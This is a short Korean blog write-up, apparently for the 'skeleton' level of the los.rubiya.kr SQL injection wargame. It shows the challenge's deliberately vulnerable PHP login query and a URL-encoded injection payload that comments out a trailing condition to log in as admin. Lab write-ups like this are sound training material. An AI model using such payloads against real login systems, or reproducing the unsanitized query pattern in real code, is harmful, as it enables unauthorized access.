웹찢남

Skeleton-writeup 본문

WEB_HACKING/los.rubiya.kr

Skeleton-writeup

harry595 2019. 12. 27. 21:12

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>

 

뒤에 and 1=0을 붙어놨지만 어차피 주석처리 할 부분이어서 2번처럼

pw=%27or%20id=%27admin%27%20--%20 값을 넘기자

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Darkknight-writeup  (0) 2019.12.27
Golem-writeup  (0) 2019.12.27
Vampire-writeup  (0) 2019.12.27
Troll-writeup  (0) 2019.12.27
Orge - writeup  (0) 2019.12.27
Comments